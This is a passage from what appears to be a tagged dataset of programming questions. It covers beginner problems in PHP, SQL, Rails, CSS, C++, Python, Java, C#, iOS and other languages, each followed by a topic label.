]) &amp;&amp; strtolower($_server[ http_x_requested_with ]) ==  xmlhttprequest ) {         $id = $_get[ categoryid ];         }  &gt;   print_r($_get) = &lt; php print_r($_get);  &gt;   &lt;br /&gt;   print_r($id) = &lt; php print_r($id);  &gt;  &lt;/body&gt; &lt;/html&gt;  </code></pre>  <hr>   and here is the post page sample....   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt; &lt;title&gt;testpost&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;form action= testpost.php  method= post &gt;   categoryid: &lt;input type= text  name= categoryid  /&gt;&lt;br /&gt;   &lt;input type= submit  value= submit  /&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   and the post result page...   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;     &lt;html xmlns= http://www.w3.org/1999/xhtml &gt;     &lt;head&gt;     &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt;     &lt;title&gt;test $_post&lt;/title&gt;     &lt;/head&gt;     &lt;body&gt;     &lt; php              if(isset($_server[ http_x_requested_with ]) &amp;&amp; strtolower($_server[ http_x_requested_with ]) ==  xmlhttprequest ) {             $id = $_post[ categoryid ];             }      &gt;       print_r($_post) = &lt; php print_r($_post);  &gt;       &lt;br /&gt;       print_r($id) = &lt; php print_r($id);  &gt;      &lt;/body&gt;     &lt;/html&gt; </code></pre>   it still isn t setting the $id = $_get[ categoryid ]; even though is is printing it outside of the request block thanks again for all your help.,php
sql query to join tables having different values  i have come across a situation where i need to join two table based on columns have different values.    e.g.   <ul> <li><code>table1</code> has column <code>t1</code></li> <li> <code>table2</code> has column <code>t2</code> </li> <li> <code>t1</code> has 100 rows with value <code>p</code> </li> </ul>   and    <ul> <li><code>t2</code> has 50 rows with value <code>n</code> and 50 rows with value <code>p</code></li> </ul>   i want to join table <code>table1</code> with value <code>p</code> with <code>table2</code> that has values <code>n</code> as well as <code>p</code>    it should give me total 100 records.,sql
i m getting a syntax error on a mysqli query <pre><code>    $updatevehicle=mysqli_query($con   insert into `vehicles` (make model plate_no) .  values ( $make    $model    $plate ) where `customerid` =  $customerid  )or die(mysqli_error($con)); </code></pre>   this is the error message: <strong>you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  where <code>customerid</code> = 12369  at line 1</strong>    i ve verified that the table exists and that the rows specified are type case sensitive to match the database.    thank you for your help,mysql
undefined method error in controller  <strong>models/collaborators.rb:</strong>    <pre><code>class collaborator &lt; activerecord::base   belongs_to :user   belongs_to :wiki    def wiki_collaborations   end end </code></pre>   <strong>controllers/wikis_controller.rb:</strong>   <pre><code>class wikiscontroller &lt; applicationcontroller   def index     @user = current_user     if @user.admin        @wikis = wiki.all     elsif @user.premium        @wikis = wiki.where(private: false) | @user.wiki_collaborations | @user.wikis     elsif @user.standard        @wikis = wiki.where(private: false) | @user.wiki_collaborations     else       @wikis = wiki.where(private: false)     end   end    def show     @wiki = wiki.find(params[:id])     authorize @wiki   end    def new     @wiki = wiki.new   end    def create     @wiki = current_user.wikis.new(wiki_params)     if @wiki.save       flash[:notice] =  wiki was saved.        redirect_to @wiki     else       flash.now[:alert] =  there was an error saving the wiki. please try again.        render :new     end   end    def edit     @user = current_user     @wiki = wiki.find(params[:id])     @user_emails = user.where.not(id: current_user.id || @wiki.users.pluck(:id)).map(&amp;:email)     authorize @wiki   end    def update     @wiki = wiki.find(params[:id])     authorize @wiki      if @wiki.update(wiki_params)       flash[:notice] =  wiki was updated.        redirect_to @wiki     else       flash.now[:alert] =  there was an error saving the wiki page. please try again.        render :edit     end   end    def destroy     @wiki = wiki.find(params[:id])      if @wiki.destroy       flash[:notice] =  \ #{@wiki.title}\  was deleted successfully.        redirect_to wikis_path     else       flash.now[:alert] =  there was an error deleting the wiki page.        render :show     end   end    private   def wiki_params     params.require(:wiki).permit(:title  :body  :private)   end end </code></pre>   i tried to access <code>http://localhost:3000/wikis</code>.    i get the following error.    <a href= https://i.stack.imgur.com/dbhsw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/dbhsw.png  alt= error message ></a>,ruby-on-rails
adding numbers in php  if i had a string containing the following  is it possible to add all the numbers up and remove the commas    <pre><code>$string =  1 2 3 4 5 6  ; </code></pre>   i have tried a few options  but can t figure out how.    thank you,php
image get request interceptor  i have this http request interceptor:   <pre><code>var app = angular.module( mobapp.services ); app.factory( httprequestinterceptor   function($q  $injector) {   return {     request: function(config) {       var utils = $injector.get( utils )        userdetails = utils.getcurrentuserdetails();       config.headers.authorization =  token 12309123019238 ;       if(userdetails) {         config.headers[ x-accesskey ] = userdetails.apikey;         config.headers[ x-userid ] =  userdetails.id;       }       return config;     }   }  });  app.config([ $httpprovider   function($httpprovider) {       $httpprovider.interceptors.push( httprequestinterceptor ); }]); </code></pre>   it add <code>x-</code> header to all get/post request except to a image get request. why,angularjs
set a div to 100% height but content is flowing below end of div  i ve been struggling for days trying to get a page working with css and divs. basically i need a masthead with logo/banner ad at the top  then a three column layout (nav  main content and additional side content)  then ending the page with a footer.    i will need to set a background color and put a 1 px border around the three content columns so i have a wrapper div around them. and the three columns may also need there own background colors too.     what i am aiming for is to have each of the three content columns be the same height and grow as required. however  if i add a lot of content to one of them  the content spills out below the footer. i ve done lots of searches on this and tried various combinations of height and min-height but still can t get it working.    i have placed html (with the css in it) at <a href= http://solomon.ie/so  rel= nofollow >http://solomon.ie/so</a> and screen grabs taken in ff3 on winxp    the tidied code is also here:   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;style type= text/css &gt; html  body {     height:100%;  }  body  td  p {     font-family: verdana  arial  helvetica  sans-serif;     font-size:11px; }  #content_wrapper{     width: 980px;     margin: 0 auto;     border:1px solid #3300ff;     background:#ffff66;      min-height:100%;      height:100%;      }  #middlecol{     float:left;     min-height:100%;       height:100%;       background:grey;     width:540px;     } #leftcol{     float:left;     min-height:100%;       background:green;     width:170px;     } #rightcol{     float:right;     min-height:100%;       background:#66ffcc;     width:250px;     }  #header_wrapper {     width: 980px;     margin: 0 auto;     border:1px solid #ff0000;     clear:both;     margin-bottom:8px;     }   #footer_wrapper {     width: 980px;     margin: 0 auto;     border:1px solid #000000;     clear:both;     margin-top:8px;     } &lt;/style&gt;   &lt;title&gt;test &lt;/title&gt; &lt;/head&gt;  &lt;body&gt;   &lt;div id= header_wrapper &gt;&lt;h1&gt;logo/ad&lt;/h1&gt;&lt;/div&gt;  &lt;div id= content_wrapper &gt;     &lt;div id= rightcol &gt;&lt;h1&gt;rhs column&lt;/h1&gt;&lt;/div&gt;     &lt;div id= leftcol &gt;&lt;h1&gt;lhs&lt;/h1&gt;&lt;/div&gt;     &lt;div id= middlecol &gt;&lt;h1&gt;main content column&lt;/h1&gt;&lt;/div&gt; &lt;/div&gt;    &lt;div id= footer_wrapper &gt;&lt;h1&gt;footer&lt;/h1&gt;&lt;/div&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>,css
enforce an order to rails callbacks  how can one enforce an order of callbacks  for example  how do you ensure that <code>step 1</code> happens before <code>step 2</code>:   <pre><code>after_save do   logger.info  step 1  end  after_save do   logger.info  step 2  end </code></pre>   my actual example relates to using third party gems and ensuring that they have completed (they work on callbacks) before my own callbacks. i must use the same callback (i.e. cannot use a <code>before</code> and <code>after</code> combination).     thanks!,ruby-on-rails
asp.net nullexception error  asp.net w/ c#    i m collecting data from 5 textboxes. after data is input  a submit button is clicked to send the data to be displayed on another form  and hopefully save it to a database.    upon clicking  submit     i get nullreferenceexception was unhandled by user code    this is highlighted in that form s code behind...   <pre><code>if (clsdatalayer.savepersonnel(server.mappath( payrollsystem_db.mdb )       session[ firstname ].tostring       session[ lastname ].tostring       session[ payrate ].tostring       session[ startdate ].tostring       session[ enddate ].tostring())) </code></pre>   any ideas   i m not very experienced. thanks in advance!!,asp.net
exception when passing params to another view controller  last night i let a project working. this morning the same project with no changes throws an exception at this method:   <pre><code>- (void)prepareforsegue:(uistoryboardsegue *)segue sender:(id)sender {     // make sure your segue name in storyboard is the same as this line     if ([[segue identifier] isequaltostring:@ nuevo_servicio_segue ])     {         nslog(@ estoy en segue pasando a nuevo servicio );         // get reference to the destination view controller         nuevoservicioviewcontroller *vc = [segue destinationviewcontroller];         //pasamos la latitud del po         //la convertimos a string         nsstring *latitud  = [nsstring stringwithformat:@ %.20f   self.puntoorigen.latitude];         vc.parametro_origin_latitude = latitud;         //lo comprobamos         nslog(@ latitud del po pasada=%@  latitud);         //pasamos la longitud del po         //la convertimos a string         nsstring *longitud  = [nsstring stringwithformat:@ %.20f   self.puntoorigen.longitude];         vc.parametro_origin_longitude = longitud;         //lo comprobamos         nslog(@ longitud del po pasada=%@  longitud);      } } </code></pre>   the exception is at lines:   <pre><code>vc.parametro_origin_latitude = latitud; </code></pre>   and    <pre><code>vc.parametro_origin_longitude = longitud; </code></pre>   if i comment both lines the app doesn t crash  and i am completely sure that i haven t changed any piece of code.    i need your help to understand it.    edited:    exception   <pre><code>2015-03-13 10:00:57.816 abc[1358:29933] estoy en segue pasando a nuevo servicio 2015-03-13 10:00:57.816 abc[1358:29933] -[uinavigationcontroller setparametro_origin_latitude:]: unrecognized selector sent to instance 0x80ce83b0 2015-03-13 10:00:57.819 abc[1358:29933] *** terminating app due to uncaught exception  nsinvalidargumentexception   reason:  -[uinavigationcontroller setparametro_origin_latitude:]: unrecognized selector sent to instance 0x80ce83b0  *** first throw call stack: (     0   corefoundation                      0x00c15946 __exceptionpreprocess + 182     1   libobjc.a.dylib                     0x0089ea97 objc_exception_throw + 44     2   corefoundation                      0x00c1d5c5 -[nsobject(nsobject) doesnotrecognizeselector:] + 277     3   corefoundation                      0x00b663e7 ___forwarding___ + 1047     4   corefoundation                      0x00b65fae _cf_forwarding_prep_0 + 14     5   abc                             0x0005723d -[mainviewcontroller prepareforsegue:sender:] + 445     6   uikit                               0x017f9b37 -[uistoryboardseguetemplate _perform:] + 199     7   uikit                               0x0133681c -[uiviewcontroller performseguewithidentifier:sender:] + 72     8   abc                             0x00056eb9 -[mainviewcontroller boton_solicitar_action:] + 1001     9   libobjc.a.dylib                     0x008b47cd -[nsobject performselector:withobject:withobject:] + 84     10  uikit                               0x011de23d -[uiapplication sendaction:to:from:forevent:] + 99     11  uikit                               0x011de1cf -[uiapplication sendaction:totarget:fromsender:forevent:] + 64     12  uikit                               0x01311e86 -[uicontrol sendaction:to:forevent:] + 69     13  uikit                               0x013122a3 -[uicontrol _sendactionsforevents:withevent:] + 598     14  uikit                               0x0131150d -[uicontrol touchesended:withevent:] + 660     15  uikit                               0x0122e60a -[uiwindow _sendtouchesforevent:] + 874     16  uikit                               0x0122f0e5 -[uiwindow sendevent:] + 791     17  uikit                               0x011f4549 -[uiapplication sendevent:] + 242     18  uikit                               0x0120437e _uiapplicationhandleeventfromqueueevent + 20690     19  uikit                               0x011d8b19 _uiapplicationhandleeventqueue + 2206     20  corefoundation                      0x00b391df __cfrunloop_is_calling_out_to_a_source0_perform_function__ + 15     21  corefoundation                      0x00b2eced __cfrunloopdosources0 + 253     22  corefoundation                      0x00b2e248 __cfrunlooprun + 952     23  corefoundation                      0x00b2dbcb cfrunlooprunspecific + 443     24  corefoundation                      0x00b2d9fb cfrunloopruninmode + 123     25  graphicsservices                    0x02d9924f gseventrunmodal + 192     26  graphicsservices                    0x02d9908c gseventrun + 104     27  uikit                               0x011dc8b6 uiapplicationmain + 1526     28  abc                             0x00066e5d main + 141     29  libdyld.dylib                       0x0366dac9 start + 1 ) libc++abi.dylib: terminating with uncaught exception of type nsexception </code></pre>,ios
l-value required in c++  i am getting an lvalue required error at ob1.name and ob2.name. please<br>         help me figure it  out.   <pre><code> #include&lt;iostream.h&gt;  #include&lt;conio.h&gt;  class student  {  public:    int rollno;    char name[10];  };   void main()  {    student ob1;    student ob2;    ob1.rollno=101;    ob1.name= ajay ; // this is where i am getting the error    ob2.rollno=102;    ob2.name= pintu ; // this is where i am getting the error    clrscr();    cout&lt;&lt; roll no and name of first student &lt;&lt;ob1.rollno&lt;&lt;ob1.name;    cout&lt;&lt; roll no and name of second student &lt;&lt;ob2.rollno&lt;&lt;ob2.name;    getch();  } </code></pre>,c++
prisoner s dilemma in python  at school in my cse class  i m working on an optional project  which is code a version of prisoner s dilemma into python. this is my code. when i run it  it starts to work  then once it hits the if statements  it returns with the error  <code> typeerror:  bool  object is not iterable</code>. how do i fix this    <pre><code>import random def ipd_start():     print( welcome to prisoner s dilemma. \n if you don t know what game theory is  you re in the wrong place. \n \n enter collude to collude  or betray to betray. )     round_one()  def round_one():     answer=(input( you and a buddy got caught commiting a crime. do you keep quiet  or rat on your best friend  \n  ))     a = [ collude    betray ]     g = random.choice(a)     print( you chose   + answer +    and your partner chose   + g +  .  )     if all(g ==  collude  and answer==( collude )):         both_free()     if all(g ==  collude  and answer==( betray )):         you_free()     if all(g ==  betray  and answer== betray ):         both_jail     if all(g ==  betray  and answer== collude ):         you_jail </code></pre>,python
should i use an anchor or input tag in a navigation bar   i don t know what i should use in my nav bar:   <pre><code>&lt;li&gt;&lt;a&gt;&lt;/a&gt;&lt;/li&gt; </code></pre>   or   <pre><code>&lt;li&gt;&lt;input&gt;&lt;/li&gt; </code></pre>   in all tutorials it is <code>&lt;a&gt;</code> but why  in the nav bar i have a link to the next page and this solution is correct  but what if a button in the nav-bar opens a popup window  in this situation should i use <code>&lt;input&gt;</code> or <code>&lt;a&gt;</code>,html
array that will stop asking from input after -1 is entered ( do not print the -1)  im working on a an array  rather simple infact that will allow a user to enter 5 numbers and then print that array  this much i have gotten to work  however there is a second condition that can be met when the user inputs -1  which will cause the array to print based on the numbers currently enter but should include the -1  i cannot seem to get this to occur  this is my code : currently it does everything i need but still prints that -1 any help would be much appreciated     <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #define arr 5  main() {     int i = 0;     int arr[arr];      for (i = 0; i &lt; arr; i++)     {         printf(  enter a number:  );         scanf( %i   &amp;arr[i]);         if (arr[i] == -1) {             break;         }     }      printf(  the numbers in the array are %i :    i);      for (i = 0; i &lt; arr; i++) {         printf( \n %i  %i   i  arr[i]);         if (arr[i] == -1) {             break;         }     }      printf( \n );     system( pause ); } </code></pre>,c
show information about table columns and keys  in order to retrieve information about columns  e.g: their name  ordinal position  datatype  etc  i use the following query   <pre><code>select *  from   information_schema.`columns`  where  table_schema =  mydbname      and table_name =  mytable  </code></pre>   this returns all the information i need except information about which columns are pk and fk  especially fks. i noticed that one of the columns returned by that query is <code>column_key</code>. for pks  this column suffices because it has a value of <code>pri</code>  but for fks  this column either has a <code>mul</code> or nothing. is there a way to retrieve information about columns that includes key information reliably     i don t need to know details about the pk or fk  i just want to get information about the columns and to know if they are pk or fk.,mysql
how to print palindrome words using set  i am trying to store &amp; print the number of palindrom words in a string using set. please help me.   <pre><code>import java.util.*; public class palindromecount {      public static void main(string[] args) {          scanner sc = new scanner(system.in);         system.out.println( enter a sentence );         string str = sc.nextline();         string words[] = str.replaceall(         ).split(  );           set set = new hashset();         for(string wordl : words)         {          // i am retrieving each word in string and sending it to the sb             stringbuffer sb = new stringbuffer(wordl);             if(sb.reverse().equals(wordl))// here i am checking whether it is palindrome or not if it is palindrome i am adding to set             {                 set.add(wordl);              }         }         system.out.println(set);     } } </code></pre>,java
rails random number always the same  i have a problem with a random number. i have an account table and i need to assign a random account inside of each but when i save all the data  i notice all the records have the same random number (1).     i have only 2 accounts. i tested with 10.times do... and it seems to works fine  but i m not sure why this isn t working  any ideas    <pre><code>  data = []   accounts = account.all   searches.each do        data &lt;&lt; searchesresult.new({           :account_id =&gt; accounts[rand(accounts.count)]       })   end   searchesresult.import data </code></pre>,ruby-on-rails
sorted list: must have class/struct/union  so i have been working on a code for over two weeks and its not going too well. here are the instructions and the code is below it  as well as errors:    task 1: create one instance of this class. (the sorted list; he also had other instructions on how to start the code  but its already been done by me below in the code such as typedef...)  you also need to read in data from one data file: float.dat  which contains the following numbers:   <blockquote>    5.5        6.2        7.1        8.0        9.0        10.0        1.0        2.0        3.3        4.4  </blockquote>   data in float.dat contains floating numbers  which should be inserted into the object of sortedlist. note that you do not have any prior knowledge about data values in float.dat  but we assume that there are 10 elements in the data file.     task 2:  use getnextitem( ) to print out all the elements in the list in sorted sequence on computer screen.     task 3:  use getnextitem( ) to output all the elements in the list in sorted sequence onto a data file  output.dat.     task 4: design your test cases to demonstrate insertitem( )  deleteitem( ) and retrieveitem( ) are working as expected.      here is the code:   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;string&gt; using namespace std;  #define max_items  10 typedef   float  itemtype;  class sortedlist { private:     int length;     itemtype values[max_items];     int currentpos;     enum relationtype { less  greater  equal };  public:      sortedlist() {length = 0; currentpos = -1;}      int getlength() {return length;}      relationtype comparedto(itemtype x)      {         if (length &gt; x.getlength())             return less;         else if (length == x.getlength())             return greater;         else             return equal;     }      void makeempty() {length = 0;}      void insertitem(itemtype x)      {            int first = 0  last = length --;         bool moretosearch = (first &lt;= last);         int location = 0;         int midpoint= (first + last) / 2;          while (moretosearch)          {             switch (x.comparedto(values[location]))              {             case less:      //search in 1st half                 moretosearch = (first &lt;= last);                 break;             case greater:                 location++;                 moretosearch = (location &lt; length);                 break;             }         }         for (int index = length; length &gt; location; index--)          {             values[index] = values[index - 1];         }         values[location] = x;         length++;     }      void deleteitem(itemtype x)      {         int location = 0;         while (x.comparedto(values[location]) != equal)             location++;         for (int index = location ++; index &lt; length; index++)             values[index --] = values[index];         length--;     }      void retrieveitem(itemtype &amp;x  bool &amp; found)      {         int midpoint;         int first = 0  last = length - 1;         bool moretosearch = (first &lt;= last);         found = false;         int index = 0;         while (moretosearch &amp;&amp; !found)          {             midpoint = (first + last) / 2;              switch (x.comparedto(values[index++]))              {             case less:      //search in 1st half                 moretosearch = (first &lt;= last);                 last = midpoint - 1;                 break;             case greater:   //search in 2nd half                 first = midpoint + 1;                 moretosearch = (first &lt;= last);                 break;             case equal: //x has been found                 found = true;                 break;             }         }     }      int lengthis() {return length;}      void resetlist() {currentpos = -1;}      bool isfull()      {         if (length &lt; 9)             return false;         else             return true;     }      void getnextitem(itemtype &amp;x)      {         currentpos++;         x = values[currentpos];         cout &lt;&lt; x;     }    };  int main() {     sortedlist x;      ifstream infile; ofstream output;     string line;     bool allaboutlists;     int i = 0;     int size = 0;      infile.open( float.txt );      float values[10];     while (!infile.eof())   // write or read data from infile into values     {         infile &gt;&gt; values[i];         i++;         size++;         // this will count how many values there are in the array         x.insertitem(values[i]);         ++i;     }      x.resetlist();      cout &lt;&lt;  the following is the list that s been made:  &lt;&lt; endl &lt;&lt; endl;      x.insertitem(64);     //x.printlist();     cout &lt;&lt; endl;     x.deleteitem(64);     //x.printlist();      x.retrieveitem(7.1  allaboutlists);      cout &lt;&lt; endl;      cout &lt;&lt; endl &lt;&lt;  the length is:  ; x.lengthis(); cout &lt;&lt; endl;      cout &lt;&lt;  is the list full :   &lt;&lt; boolalpha &lt;&lt; x.isfull() &lt;&lt; endl;     cout &lt;&lt;  the next item is:  ;     for (int i = 0; i &lt; 10; i++)     {         cout &lt;&lt; x.getnextitem &lt;&lt; endl;     }     x.resetlist();      infile.close();      output.open( output.txt );      for (int f = 0; f &lt; 10; f++)     {         output &lt;&lt; x.getnextitem &lt;&lt; endl;     }      system( pause );     return 0; } </code></pre>   and the compiler keeps saying this:    <ul> <li>(25) error c2228: left of  .getlength  must have class/struct/union [they mean the x. its red lined under  same for the rest of those left of etc..]</li> <li>(27) error c2228: left of  .getlength  must have class/struct/union</li> <li>(44) error c2228: left of  .comparedto  must have class/struct/union</li> <li>(66): error c2228: left of  .comparedto  must have class/struct/union -and also  7.1 in main has something about refernce type mistake.</li> </ul>   i am in extereme hurry as i have been working on it for 2 weeks now and its driving me crazy ! i have the code done as seen and more than wnough and just need to know what to change exactly because i am following everything i have been searching and researching yet its no good. so precise details or code specifically taken from mine and fixed would be appreciated.    thanks!,c++
parsing non-xml syntax ed text file in c#  how does one write a custom parser in c# to parse a text file that is formatted by custom tags  <strong><em>without using xml / 3rd party libs</em></strong>   <pre><code>[product]  *name*name1*/name* *cost*100*/cost* [/product] [product] *name*name2*/name* *cost*120*/cost* [/product] ... </code></pre>   i m trying to parse it in a way that i can store  name1  and  name2  in strings  etc.,c#
date picker in android  i want to display a date picker for selecting  date of birth so as to user restricted to choose future date.currently date picker displays all dates including future also.i want to show the dates up to current dates only. thanks.,android
javascript equivalent of php’s die  is there something like  die  in javascript  i ve tried with  break   but doesn t work :),javascript
hide all rows that do not match label c#  i want to hide all rows in datagridview that do not match the text in access.text label  how would i accomplish this  this code hides all rows when the program is run   <pre><code>    private void access_textchanged(object sender  eventargs e)     {         bindingcontext[productionbindingsource].suspendbinding();         foreach (datagridviewrow row in this.productiondgv.rows)         {             if (row.cells[4].value.tostring() != access.text)             {                 row.visible = false;             }         }         bindingcontext[productionbindingsource].resumebinding();     } </code></pre>,c#
uncaught referenceerror: $ is not defined in my javascript  i have the following:   <pre><code>&lt;script src= ~/scripts/pagedown/markdown.converter.js &gt;&lt;/script&gt; &lt;script src= ~/scripts/pagedown/markdown.sanitizer.js &gt;&lt;/script&gt; &lt;script src= ~/scripts/pagedown/markdown.editor.js &gt;&lt;/script&gt; &lt;script src= ~/scripts/pagedown/showdown.js &gt;&lt;/script&gt;  &lt;script type= text/javascript &gt;     $(function () {         var converter = new markdown.converter();         var editor = new markdown.editor(converter);         editor.run();     }); &lt;/script&gt; </code></pre>   but when i run this i am getting a message saying:   <pre><code>uncaught referenceerror: $ is not defined  </code></pre>,javascript
subquery returns more than 1 row when using find_in_set  i have a field called  evaluator  that holds the names of those who already have been evaluated. now  what i want to do is hide the subjects that have already been evaluated. this is just a snippet of the code. the code works until <code>counter &lt; 5</code>. when i run the program with find_in_set like this  it returns the following error  subquery returns more than 1 row .   <pre><code>    $id = $user[ studentsid ];     for($i = 0; $i &lt; 5; $i++){         $subject = $subjects[$i];          $subquery .=  code =  $subject  and taught  =  $taught  and counter &lt; 5 and          find_in_set(evaluators  (         select student_name         from evaluation_result_student         where student_id =  $id           )) = 0 or  ;                                 } </code></pre>   ps: when i evaluate  the data saved in my field  evaluator  is (for example): <code> juan luna--- </code>  and then when another person evaluates  it goes like this: <code> juan luna---jacob sen--- </code>.    please help!,php
how do i go about getting the average price and sum   <a href= http://imgur.com/hurnwpt  rel= nofollow >this the problem/data i m working with.</a>    i really don t know how to go about this. the class i m taking is an online course so talking to the professor face to face is not an option.    <pre><code>use adventureworks2012 go select productid  specialofferid from sales.salesorderdetail </code></pre>   this is what i ve come up with so far  but obviously it isn t right. how do i go about solving this,sql
css - direction ltr in a rtl element  the markup is like this:   <pre><code>&lt;html dir= rtl &gt;     &lt;head&gt;         &lt;style&gt;             p {direction: rtl;}             code{direction: ltr !important;}         &lt;/style&gt;     &lt;/head&gt;     &lt;body&gt;         &lt;p&gt;متن به زبان فارسی&lt;code&gt;some:code;&lt;/code&gt;متن به زبان فارسی&lt;/p&gt;     &lt;/body&gt; &lt;/html&gt;  some word to reach quality of content  ah rules... </code></pre>   but <code>direction:ltr</code> attribute is not work  is there any way to make it work     note that we can t remove <code>dir= rtl </code> from html tag  also <code>float:left</code> destroy everything!    <strong>code updated: it s not work with persian language</strong> <a href= http://jsfiddle.net/cc3fx/4/  rel= noreferrer >http://jsfiddle.net/cc3fx/4/</a>,css
event handlers in constructors - is it possible or even wise   i have an object that can take anywhere from a split second to a couple of minutes to initialize.  the reason being is that the constructor retrieves data from a webservice that could be a few kilobytes to several megabytes  and depending on the user s connection speed performance may vary greatly.  for that reason i am wanting to put events in that will handle progress notification.     <blockquote>    here is my question: can i put event   handlers in the constructor or should   this type of action be done with a   load method   </blockquote>   for example:   <pre><code>public class myobject {      public event eventhandler&lt;updateloadprogresseventargs&gt; updateloadprogress;       public myobject(int id)  {    background worker bgworker = new backgroundworker();    bgworker.dowork += delegate(object s  doworkeventargs args)    {         //load data and update progress incrementally         updateloadprogress(this  new upadteloadprogresseventargs(progressvalue));          result = somevalue;             }    bgworker.runworkasync();   }    public int result  {   get;   set;  }  }  </code></pre>   however when i try to tie the event handlers to the constructor they are always null when being called:   <pre><code>myobject o = new myobject(1); o.updateloadprogress += new eventhandler&lt;eventargs&gt;(o_updateloadprogress); </code></pre>   i assume this happens because i wire up the events after the constructor.  the only alternative i see is creating a load method that does the work of the constructor.  the downside is that anyone that uses this class must know to call load before trying to access result (or any other property).      <strong>edit:</strong> here is the final solution:    <strong>myobjectbuilder class</strong>   <pre><code>public class myobjectbuilder     {         public event progresschangedeventhandler progresschanged;          public myobject createmyobject()         {             myobject o = new myobject();             o.load(progresschanged);              return o;         }     } </code></pre>   <strong>myobject class</strong>   <pre><code>public class myobject      {         public int result { get; set;}          public void load(progresschangedeventhandler handler)         {             backgroundworker bgworker = new backgroundworker();             bgworker.workerreportsprogress = true;             bgworker.progresschanged += handler;              bgworker.dowork += delegate(object s  doworkeventargs args)             {                 for (int i = 0; i &lt; 100; i++)                 {                     thread.sleep(10);                     result = i;                      bgworker.reportprogress(i);                 }             };             bgworker.runworkerasync();                               }     } </code></pre>   <strong>program class</strong>   <pre><code>class program     {         static void main(string[] args)         {             myobjectbuilder builder = new myobjectbuilder();             builder.progresschanged += new progresschangedeventhandler(builder_progresschanged);                      myobject o = builder.createmyobject();             console.readline();         }          static void builder_progresschanged(object sender  progresschangedeventargs e)         {             console.writeline(e.progresspercentage);         }     } </code></pre>,.net
get content of div box from another page  i m trying to retrieve the content of a particular div box from another page  and some googling suggested jquery may be able to do this  but i m struggling to get it to work. i ve never used jquery before.    the content i m trying to retrieve is located on <code>webpage.com/test.html</code> and the div id is  page-content .    the page i wish to display this on is located at <code>webpage.com/folder1/folder2/page.html</code>  and the code is:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js &gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt;  &lt;div id= div1 &gt;&lt;/div&gt;  &lt;script&gt; $( #div1 ).load( test.html #page-content ); &lt;/script&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   how do i get this to work  is there an alternative method that would be better,jquery
python nameerror: name  width  is not defined  this is my code for creating a game. when i try to run this it keeps saying name  width  is  not defined. i am new to this so please make it simple while answering my question. thanks :)   <pre><code># 1 - import library import pygame from pygame.locals import *  # 2 - initialize the game pygame.init() width  height - 640  480 screen-pygame.display.set_mode((width  height))  # 3 - load images player - pygame.images.load( resources/images/dude.png )  # 4 - keep looping through while 1:     # 5 - clear the screen before drawing it again     screen.fill(0)     # 6 - draw the screen elements     screen.blit(player  (100 100))     # 7 - update the screen     pygame.display.flip()     # 8 - loop through the events     for event in pygame.event.get():         # check if the event is the x button         if event.type--pygame.quit:             # if it is quit the game             pygame.quit()             exit(0) </code></pre>,python
trouble with my first program  i m writing a quick little conversion app for degree conversions and i m stuck. i m having issues updating the values by using methods of a different class. here is my code:   <pre><code>public class appinfo {     private double value;     public double getvalue() {         return value;     }     public void setvalue(double value) {         this.value = value;     }     public void convertf() {         value = (value * 1.8) + 32;     }     public void convertc() {         value = ((value - 32) * (5 / 9));     }     public void show() {         system.out.println(value);     } } </code></pre>   my second class (main) is this:   <pre><code>public class working {     public static void main(string[] args) {         system.out.println( enter degree );         scanner sc = new scanner(system.in);         double value = sc.nextdouble();         appinfo newvalue = new appinfo();         string answer;         system.out.println( what unit conversion  c to convert to celsius and f for fahrenheit );         answer = sc.next();         newvalue.setvalue(value);         if(answer.tolowercase() ==  c ) {             newvalue.convertc();         }         else if(answer.tolowercase() ==  f ) {             newvalue.convertf();         }         newvalue.show();     } } </code></pre>   every time i run it  it just returns the same value the user entered in the beginning. it won t update the new value after using the convertf/c methods.    i don t know why this is marked as a duplicate. my question isn t about comparing strings so how the hell is it even remotely a duplicate  i just want someone to help me understand what is wrong with my code so i can have a functional program that converts degrees. simply shutting my question down is demotivating and very irritating. all i want is to know how to fix it/what is wrong.,java
objective-c: how to avoid unintended calls to private superclass methods with identical name   i m trying to avoid duplicate code in various <code>-(id)init</code> flavors of a class  i.e. <code>init</code>  <code>initwithframe</code>  <code>initwithcoder</code>  etc. by defining a private method that is named <code>commonconstruct</code>.    this method does the heavy lifting common to all init method flavors and gets called by the <code>init</code> constructor.    the issue i have now is that in derived classes  using the same naming convection for the initializer helper ( commonconstruct ) the base class will call the derived class s <code>commonconstruct</code>  though it is <code>invisible</code>  i.e. declared in the <code>.m</code> file  not in the <code>.h</code> file.    however  the runtime finds the overloaded commonconstruct and executes that instead of its own member function.    is there any other way than using a different name for the initializer helper in each subclass      in other words: is there a way of making <code>objective-c</code> member functions that are  non-virtual   i.e. don t have late (runtime) but compile-time binding,objective-c
